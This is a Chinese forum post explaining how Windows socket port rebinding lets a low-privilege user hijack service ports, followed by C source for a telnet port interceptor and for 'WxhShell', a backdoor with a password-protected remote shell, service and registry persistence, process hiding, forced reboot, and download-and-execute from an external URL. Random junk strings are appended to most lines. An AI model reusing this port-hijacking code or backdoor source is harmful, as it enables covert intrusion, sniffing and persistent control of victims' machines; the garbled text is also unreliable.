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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bPNsy@"6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O);V{1P  
i&Ea@b  
  saddr.sin_family = AF_INET; eo!z>9#.  
NQmDm!-4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _),@^^&x  
A Ho<E"R\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <$E8T>U  
M5]w U   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #/T)9=m  
<3HJkcYGz  
  这意味着什么?意味着可以进行如下的攻击: u|e2T@t=  
Oaui@q  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y}A-o_u@cD  
Liofv4![  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 945psG@|  
TO<g@u]*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fOfp.`n  
YpJzRm{Ra  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Hogr#Sn2  
|c) #zSv  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )jg3`I@  
xfb%bkr  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 J#\/znT  
~jgd92`{z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;Bm{_$hf=  
IcB>Hg5  
  #include \a<E3 <  
  #include AK[c!mzx  
  #include 52oR^ |  
  #include    >a,w8^7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   q+<TD#xoL  
  int main() |$Td-M^)  
  { g& {YHq^+  
  WORD wVersionRequested; : M Md@  
  DWORD ret; V5=Injs *  
  WSADATA wsaData; <R2bz1!h.  
  BOOL val; OnG?@sW+4!  
  SOCKADDR_IN saddr; LTxOq|/Cq  
  SOCKADDR_IN scaddr; d97wiE/i<  
  int err; 7\.5G4dr%  
  SOCKET s; [* Lh4K  
  SOCKET sc; IySlu^a  
  int caddsize; =uHTpHR  
  HANDLE mt; Xr@0RFdr[  
  DWORD tid;   T6tJwSS4:  
  wVersionRequested = MAKEWORD( 2, 2 ); Gb"PMai  
  err = WSAStartup( wVersionRequested, &wsaData ); kY|<1Ht  
  if ( err != 0 ) { Xh ?{%?2  
  printf("error!WSAStartup failed!\n"); !$j'F?2 >  
  return -1; \!_ >ul  
  } k7j;'6  
  saddr.sin_family = AF_INET;  '{),gV.  
   Xs4`bbap  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IlH*s/  
.69{GM?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &`@K/Nf$9  
  saddr.sin_port = htons(23); b(wiJ&t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'i}Q R~pe  
  { 'E9\V\bi  
  printf("error!socket failed!\n"); Q WOd&=:  
  return -1; ^+-i7`|=  
  } Yt&^ i(  
  val = TRUE; 1&U U6|X  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AtSEKpKc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %.]qkGZe#  
  { ~GZ(Ou-&  
  printf("error!setsockopt failed!\n"); =h4XsV)rO  
  return -1; &",pPu q  
  } OfPWqNpO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %GJ, &b|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?]:3`;h3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^;L;/I[-  
}_K7}] 1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JD.WH|sZ5  
  { Kpg]b"9.R  
  ret=GetLastError(); |@Bl?Bs+  
  printf("error!bind failed!\n"); 'En6h"{  
  return -1; t'^/}=c-  
  } ]2?t $"G8  
  listen(s,2); Z O&5C6qa  
  while(1) =YR/|9(  
  { `U)~fu/\2M  
  caddsize = sizeof(scaddr); }yUZ(k#  
  //接受连接请求 XJ.vj+XXb  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <Dl7|M  
  if(sc!=INVALID_SOCKET) Wfp[)MM;  
  { L\pe  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iJU]|t  
  if(mt==NULL) O3Yv ->#  
  { XJGOX n$/  
  printf("Thread Creat Failed!\n"); ?,]25q   
  break; oTZNW  
  } JBp^@j{_  
  } "Q ^Ck7  
  CloseHandle(mt); M*|x,K=U  
  } G >bQlZG  
  closesocket(s); i&RPY bT{  
  WSACleanup(); K^EW*6vB8O  
  return 0; Ao(Xz$cQfW  
  }   YHl6M&*@  
  DWORD WINAPI ClientThread(LPVOID lpParam) OQA}+XO  
  { Fe}Dnv)}Z  
  SOCKET ss = (SOCKET)lpParam; !M6*A1g5  
  SOCKET sc; S-GcH  
  unsigned char buf[4096]; "d9"Md0k  
  SOCKADDR_IN saddr; Jc/*w  
  long num; J&wrBVv1uk  
  DWORD val; 0KE+RzrB  
  DWORD ret; {U>B\D  
  //如果是隐藏端口应用的话,可以在此处加一些判断 qy"#XbBeV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V|)3l7IC<  
  saddr.sin_family = AF_INET; W-2,QVp%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YhRES]^  
  saddr.sin_port = htons(23); |X0h-kX4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6Gwk*%sb  
  { h,45-#+  
  printf("error!socket failed!\n"); `$7. (.#s  
  return -1; uPhFBD7  
  } :>]= YE  
  val = 100; 4u0=/pfi[  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gh#9<  
  { xx_]e4  
  ret = GetLastError(); g?qm >X  
  return -1; !ffdeWHR  
  } z1K@AaRx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?Mtd3F^o?  
  { OW;]= k/(  
  ret = GetLastError(); u,I_p[`E  
  return -1; 0"#'Z>"  
  } 4 cDjf~n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qS:hv&~  
  { -W<x|ph U  
  printf("error!socket connect failed!\n"); Yxp.`  
  closesocket(sc); QX-%<@  
  closesocket(ss); ?#da4W  
  return -1; {1Z8cV   
  } LB1LQ 0M  
  while(1) hOG9  
  { [@(M%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Bvb.N$G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E<y0;l?H<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u_shC"X:  
  num = recv(ss,buf,4096,0); B&3oo   
  if(num>0) Iy% fg',%  
  send(sc,buf,num,0); L )p*D(  
  else if(num==0) kZ~0fw-  
  break; <b !nI N  
  num = recv(sc,buf,4096,0); qbrY5;U  
  if(num>0) 5)bf$?d   
  send(ss,buf,num,0); ZCVwQ#Xe+  
  else if(num==0) )RG@D\t,  
  break; %5Q5xw]w3  
  } p=sL KnLmZ  
  closesocket(ss); +uZ,}J  
  closesocket(sc); ]?tC+UKb  
  return 0 ; e=e^;K4  
  } O/ Yz6VQ  
^E{M[;sF3y  
bk^W]<:z`  
========================================================== LX;w~fRr.  
dY[ XNP  
下边附上一个代码,,WXhSHELL 2[-@ .gH  
: .Y  
========================================================== [;~:',vHQf  
qz[qjGdHg  
#include "stdafx.h" YW9r'{(D(I  
B8_)I.  
#include <stdio.h> WZ,}]D  
#include <string.h> Vz_ac vfk^  
#include <windows.h> b|jdYJbol&  
#include <winsock2.h> qRi;[`  
#include <winsvc.h> jd ]$U_U(  
#include <urlmon.h> >v--R8I*  
:4JqT|nS  
#pragma comment (lib, "Ws2_32.lib") #y;TSHx/  
#pragma comment (lib, "urlmon.lib") DD5 S R  
~0/tU#&  
#define MAX_USER   100 // 最大客户端连接数 jT/}5\  
#define BUF_SOCK   200 // sock buffer }(tuBJ9  
#define KEY_BUFF   255 // 输入 buffer nwSujD  
$$'a  
#define REBOOT     0   // 重启 nz_=]PHO&  
#define SHUTDOWN   1   // 关机 3>vSKh1z  
{P/ sxh:e  
#define DEF_PORT   5000 // 监听端口 dAg<BK/  
o\<m99Ub  
#define REG_LEN     16   // 注册表键长度 *WTmS2?'h  
#define SVC_LEN     80   // NT服务名长度 *XN|ZGl/  
[ =/Yo1:v  
// 从dll定义API 9NzK1V0X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _%M+!Ltz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6WI-ZEVp&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0 ]K\G55  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DpA"5RV  
}7Lo}}  
// wxhshell配置信息 <7  
struct WSCFG { CcDmZ  
  int ws_port;         // 监听端口 kD"BsL*6!  
  char ws_passstr[REG_LEN]; // 口令 Qk`ykTS!  
  int ws_autoins;       // 安装标记, 1=yes 0=no *49({TD6`  
  char ws_regname[REG_LEN]; // 注册表键名 {9mXJu$cc  
  char ws_svcname[REG_LEN]; // 服务名 MC\rx=cR\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m 0jm$> :Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ''. P=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q#gzk%jL@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no '2LK(uaU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0 $Ygt0d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "p Rr>Fa  
`3wzOMgJ  
}; t?&@bs5~g  
Xgb ~ED]  
// default Wxhshell configuration sWtT"7>x  
struct WSCFG wscfg={DEF_PORT, r [NI#wW  
    "xuhuanlingzhe", s}1S6*Cr  
    1, [B0]%!hFw  
    "Wxhshell", mE>v (JY  
    "Wxhshell", >{ /As][  
            "WxhShell Service", lRO7 Ae  
    "Wrsky Windows CmdShell Service", %KjvV<f-a  
    "Please Input Your Password: ", :6h$1 +6  
  1, \}:RG^*m  
  "http://www.wrsky.com/wxhshell.exe", *HC[LM  
  "Wxhshell.exe" yW@0Q:  
    }; 5Yxs_t4  
O4c[,Uq8~  
// 消息定义模块 85{2TXQ^%=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Nd;)V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; lhk=yVG3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E\$7tXQK6  
char *msg_ws_ext="\n\rExit."; o x|K2A  
char *msg_ws_end="\n\rQuit."; `S)*(s?T  
char *msg_ws_boot="\n\rReboot..."; 9sQ #v-+Yx  
char *msg_ws_poff="\n\rShutdown..."; E: 7R>.g  
char *msg_ws_down="\n\rSave to "; mQ$a^28=qR  
l^~E+F~  
char *msg_ws_err="\n\rErr!"; Jm#mC  
char *msg_ws_ok="\n\rOK!"; }Cs. Hm0P  
r}>q*yx:  
char ExeFile[MAX_PATH]; Tr\6 AN?o  
int nUser = 0; BdMmeM2h  
HANDLE handles[MAX_USER]; V eD<1<  
int OsIsNt; 'c[|\M!u  
#E'aa'P}  
SERVICE_STATUS       serviceStatus; (9!/bX<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %B#(d)T*-  
<i1.W !%  
// 函数声明  <u=k X  
int Install(void); \c1NIuJR  
int Uninstall(void); -O~ V4004  
int DownloadFile(char *sURL, SOCKET wsh); >du _/*8:  
int Boot(int flag); )NjxKSiU@  
void HideProc(void); h=x{ 3P;B  
int GetOsVer(void); (>)f#t[9J  
int Wxhshell(SOCKET wsl); U %,K8u|WH  
void TalkWithClient(void *cs); s7 K](T4  
int CmdShell(SOCKET sock); L_~vPp  
int StartFromService(void); Ho^rYz  
int StartWxhshell(LPSTR lpCmdLine); E0lro+'lS  
_yH=w'8.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +G.F'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [t{ed)J  
mI4)+8SUu  
// 数据结构和表定义 r5s$#,O/&Q  
SERVICE_TABLE_ENTRY DispatchTable[] = Qzh`x-S  
{ /4xp?Lo:  
{wscfg.ws_svcname, NTServiceMain}, w(6(Fze  
{NULL, NULL} 0hCrEM!8  
}; xRiWg/Z~  
tqMOh R  
// 自我安装 Z\ 1wEGP7{  
int Install(void) USrBi[_ci\  
{ l,w$!FnmR  
  char svExeFile[MAX_PATH]; 9$iDK$%  
  HKEY key; $%GW~|S\C  
  strcpy(svExeFile,ExeFile); G&DL)ePu]m  
wF\5 X  
// 如果是win9x系统,修改注册表设为自启动 CHGV1X,  
if(!OsIsNt) { 97L|IZ s)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #ouE, <  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pkq?tm$#  
  RegCloseKey(key); ,x]xtg?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wMx# dP4W8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oBpoZ @[Z  
  RegCloseKey(key); H}f} Y8J{  
  return 0; i| /EA7  
    } Jmcf9g  
  } Z{p)rscX  
} vi8)U]6  
else { F?jFFw im  
QVq+';cG  
// 如果是NT以上系统,安装为系统服务 /t $J<bU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }z|@X KA#  
if (schSCManager!=0) muZ6}&4  
{ PSR21;  
  SC_HANDLE schService = CreateService sSdnH_;&  
  ( c:OFBVZ   
  schSCManager, q2U8]V U)  
  wscfg.ws_svcname, &?wNL@n  
  wscfg.ws_svcdisp, gd=gc<zYP  
  SERVICE_ALL_ACCESS, %@Ow.7zh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iQ7S*s+l5O  
  SERVICE_AUTO_START, ))xyaYIZkk  
  SERVICE_ERROR_NORMAL, J =j6rD  
  svExeFile, kbcqUE  
  NULL, M7x*LiKc2  
  NULL, L2$`S'UW  
  NULL, ob(S/t  
  NULL, 8gK  <xp  
  NULL $eQf5)5  
  ); i7#PYt  
  if (schService!=0) :@=;WB*0  
  { U1,f$McZs  
  CloseServiceHandle(schService); ?mME^?x Mu  
  CloseServiceHandle(schSCManager); n5e1k y*9w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AJWV#J%nB  
  strcat(svExeFile,wscfg.ws_svcname); :rcohzfa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~REP@!\r^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !8ch&cr)o+  
  RegCloseKey(key); >r8$vQGj  
  return 0; K'tckJ#%  
    } b>_eD-  
  } e4rhB"qQdn  
  CloseServiceHandle(schSCManager); NBaXfWh  
} x } X1 O)  
} +`_Km5=  
wrJ:jTh  
return 1; ~V`F5B  
} }(-2a*Z;Y  
[e.@Yx_}  
// 自我卸载 {%PgR){qR  
int Uninstall(void)  L4 )  
{ Z}NMDb:t  
  HKEY key; 9&VfbrBM  
>/eV4ma"  
if(!OsIsNt) { *s[bq;$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @+EO3-X5  
  RegDeleteValue(key,wscfg.ws_regname); *<rBV`AP  
  RegCloseKey(key); lAZn0EU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KsR^:_e  
  RegDeleteValue(key,wscfg.ws_regname); B(/)mB  
  RegCloseKey(key); s;NPY  
  return 0; $1< ~J  
  } @Z{!T)#}j  
} %*Aq%,.={  
} S(MVL!Lm  
else { blHJhB&8  
P{tH4V23T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eT<T[; m  
if (schSCManager!=0) lemE/(`a_  
{ pjaDtNb  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Ir{ax&H.e  
  if (schService!=0) R[Y{pT,AY  
  { o n+:{ad  
  if(DeleteService(schService)!=0) { JS{trqc1d  
  CloseServiceHandle(schService); 6 OLp x)fG  
  CloseServiceHandle(schSCManager); $u-yw1FT  
  return 0; N sNk  
  } gxf{/EjH  
  CloseServiceHandle(schService); ,MRAEa2  
  } ImZ!8#  
  CloseServiceHandle(schSCManager); (I7s[  
} NKJ+DD:'  
} lf?dTPrD  
J=@D]I*3  
return 1; 8n`O{8:fi  
} F\U^-/0,  
+`D,7"{Eu  
// 从指定url下载文件 <1xs ya[e  
int DownloadFile(char *sURL, SOCKET wsh) [n!5!/g>j  
{ F-SD4a  
  HRESULT hr; $T%~t@Cv1  
char seps[]= "/"; hCvK2Xu   
char *token; kl/eJN'S  
char *file; ugT;NB  
char myURL[MAX_PATH]; Rz\:)<G  
char myFILE[MAX_PATH]; {@tqeu%IM  
q` Z_Bw  
strcpy(myURL,sURL); KDQqN]rg  
  token=strtok(myURL,seps); b IZuZF>*  
  while(token!=NULL) WVa#nU^  
  { ljJi|+^$  
    file=token; A\IQM^i  
  token=strtok(NULL,seps); |:jka  
  } [>^xMF]$2  
2qQG  
GetCurrentDirectory(MAX_PATH,myFILE); MfJ8+3@K  
strcat(myFILE, "\\"); |gP9^B?3  
strcat(myFILE, file); ^S]-7>Yyr  
  send(wsh,myFILE,strlen(myFILE),0); md.#n  
send(wsh,"...",3,0); gqCDF H  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %DqPRl.Gu  
  if(hr==S_OK) .>A`FqV$~+  
return 0; S="teH[  
else q[rBu9  
return 1; gs?=yNL  
FR%u1fi  
} A3jT;D9Y%  
Z6Kw'3  
// 系统电源模块 bm Hl\?  
int Boot(int flag) D6wg^ 'Q:  
{ 7 g2@RKo  
  HANDLE hToken; nm3/-Q},  
  TOKEN_PRIVILEGES tkp; .&R j2d  
'c")]{  
  if(OsIsNt) { :kMEL*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qwz_.=5E6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3$E\B=7/U  
    tkp.PrivilegeCount = 1; _0uFe7sIZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IW1+^F9NEw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |` +G7?)Y  
if(flag==REBOOT) { NDt +m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >^!qx b-  
  return 0; '=^$ ;3Z  
} ,*Vt53@E  
else { -55Pvg0ND  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e?"XMY  
  return 0; k&kx%skz  
} nKP[U=ac  
  } H%AF,  
  else { pO~lVM  
if(flag==REBOOT) { ~SWR|[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8D[,z 7n  
  return 0; :gvw5h%  
} w N-np3k  
else { y&$mN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f Cq  
  return 0; mROXwzL  
} %^r}$mfy:0  
} $xWebz0  
.%iJin"  
return 1; svBT~P0x  
} D{4Ehr "T  
|6mDooTy  
// win9x进程隐藏模块 6jGPmOM/  
void HideProc(void) @7C?]/8#  
{ )kq3q5*_  
]B;\?Tim  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5tIM@,.I/  
  if ( hKernel != NULL ) C9`J6Uu  
  { 2`-yzm  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w# t[sI"IT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L;n2,b  
    FreeLibrary(hKernel); D9#?l <D  
  } Zv`j+b  
QzzV+YG$(4  
return; ~m]sJpW<"  
} UP@a ?w  
]G0`W6;$]  
// 获取操作系统版本 E%f;Z7G  
int GetOsVer(void) w_gPX0N}3n  
{ q 16jL,i  
  OSVERSIONINFO winfo; GQNs:oRJ'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ed,w-;(n~  
  GetVersionEx(&winfo); rt7Ma2tK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0]F'k8yLN  
  return 1; F^ m`j6  
  else <eObQ[mQ  
  return 0; kH!I&4d&  
} b9ON[qOMN  
T:$zNX<f  
// 客户端句柄模块 4{:W5eT!/  
int Wxhshell(SOCKET wsl) 0L34)W  
{ h\ (z!7t*  
  SOCKET wsh; 9I a4PPEH1  
  struct sockaddr_in client; X7I"WC1ncz  
  DWORD myID; `ym@ U(;N  
1_Um6vS#  
  while(nUser<MAX_USER) p0KkPE">p4  
{ ^y?7B_%:B#  
  int nSize=sizeof(client); ~~?4w.k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U&fOsx?"  
  if(wsh==INVALID_SOCKET) return 1; \dyJ=tg  
E^.y$d~dS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >K{/Jx&  
if(handles[nUser]==0) U _~lpu  
  closesocket(wsh); y.AF90Q>)  
else <a-I-~  
  nUser++; uiO7sf6  
  } w][1C\8m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \*}JdEHB  
$73j*@EQA  
  return 0; 7qB}Hvh  
} 6V=69}  
%nJ^0X_]  
// 关闭 socket 3K2`1+kBVG  
void CloseIt(SOCKET wsh) r5qp[Ss3F  
{ )5Ddvz>+  
closesocket(wsh); V#?GDe}[  
nUser--; )%q]?@kB  
ExitThread(0); @[0zZX2EE  
} bk E4{P"  
hKw4[wB]  
// 客户端请求句柄 4P@Ak7iL(V  
void TalkWithClient(void *cs) \|Pp%U [  
{ #C1u~db  
 ?[Od.  
  SOCKET wsh=(SOCKET)cs; Hm|8ydNs  
  char pwd[SVC_LEN]; 75~>[JM  
  char cmd[KEY_BUFF]; !/G2vF"  
char chr[1]; l~,5)*T  
int i,j; =Mb!&qq  
+E7s[9/r  
  while (nUser < MAX_USER) { @b\/\\{  
(tV/.x*G  
if(wscfg.ws_passstr) { Q=lQy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K_ P08  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6q ._8%  
  //ZeroMemory(pwd,KEY_BUFF); G2Eke;  
      i=0; mG2*s ^$  
  while(i<SVC_LEN) { /t`s.!k  
LutP&Ebt8  
  // 设置超时 tgy*!B6a~  
  fd_set FdRead; )(`I1"1   
  struct timeval TimeOut; ; F% 3b47  
  FD_ZERO(&FdRead); hER]%)#r  
  FD_SET(wsh,&FdRead); 6p%;:mDB  
  TimeOut.tv_sec=8; MG<kvx~2  
  TimeOut.tv_usec=0; Lu!o!>b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); s(W]>Ib  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); To1 .U)do  
iB1"aE3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pu dIb|V2  
  pwd=chr[0]; '{+5+ J  
  if(chr[0]==0xd || chr[0]==0xa) { (LzVWz m  
  pwd=0; Tg|0!0qD]F  
  break; 7M*&^P\}es  
  } Eb66GXF[  
  i++; Mz,G;x}  
    }  nen(  
>5Y%4++(  
  // 如果是非法用户,关闭 socket x"q!=&>f  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OKs1irt5  
} tQ=P.14>:  
"J|{'k`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "NR`{1f:O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g{wOq{7V  
o ?z A'5q  
while(1) { r:fMd3;gq  
.YYfba#{  
  ZeroMemory(cmd,KEY_BUFF); 8i:E$7etH  
$m{-I=  
      // 自动支持客户端 telnet标准   Fq\vFt|m<  
  j=0; Z4 y9d?g%b  
  while(j<KEY_BUFF) { z2'3P{#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V0 70oZ  
  cmd[j]=chr[0]; \\w<.\Yh  
  if(chr[0]==0xa || chr[0]==0xd) { ;7,>2VTm  
  cmd[j]=0; -\=s+n_ZP?  
  break; (55k70>i3  
  } wD+4#=/j  
  j++; EjxzX1:  
    } *?Hc8y-dG,  
44@yQ?  
  // 下载文件 a}(xZ\n^D;  
  if(strstr(cmd,"http://")) { W}^X;f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h"O4r8G}  
  if(DownloadFile(cmd,wsh)) vH14%&OcN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q8d-yJs&  
  else \PU7,*2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Owd{;  
  } )?d(7d-l  
  else { 2Kg-ZDK8  
2iX57-6Ub  
    switch(cmd[0]) { y}aKL(AaU  
  \\U,|}L .  
  // 帮助 \tCxz(vKz  
  case '?': { 7bk=D~/nSg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xlKg0 &D  
    break; GpwoS1#)0|  
  } #E`wqI\'  
  // 安装 >]dH1@@  
  case 'i': { uv#."_Va  
    if(Install()) rf\/Y"D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  yxx9h3  
    else p)&Yr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :<QmG3F  
    break; Xzn}gH]  
    } S:= _o  
  // 卸载 ;rj|>  
  case 'r': { ==!k99`f,  
    if(Uninstall()) &m5FYm\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MP6Py@J45  
    else ?GT,Y5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y[~Dj@Q<  
    break; bI?uV;m>  
    } "h\ (a<  
  // 显示 wxhshell 所在路径 Od]B;&F  
  case 'p': { fUKi@*^ZUa  
    char svExeFile[MAX_PATH]; ]yAOKmS  
    strcpy(svExeFile,"\n\r");  I?R?rW  
      strcat(svExeFile,ExeFile); dTTC6?yPXf  
        send(wsh,svExeFile,strlen(svExeFile),0); bmP2nD6  
    break; !+o`,KTYp  
    } eeM$c`Y<  
  // 重启 wSPwa,)7s  
  case 'b': { <FofRFaS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yM PZ}  
    if(Boot(REBOOT)) ZNUSHxA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dnaT-M3  
    else { pPH"6   
    closesocket(wsh); \ $Q?  
    ExitThread(0); X%R)  
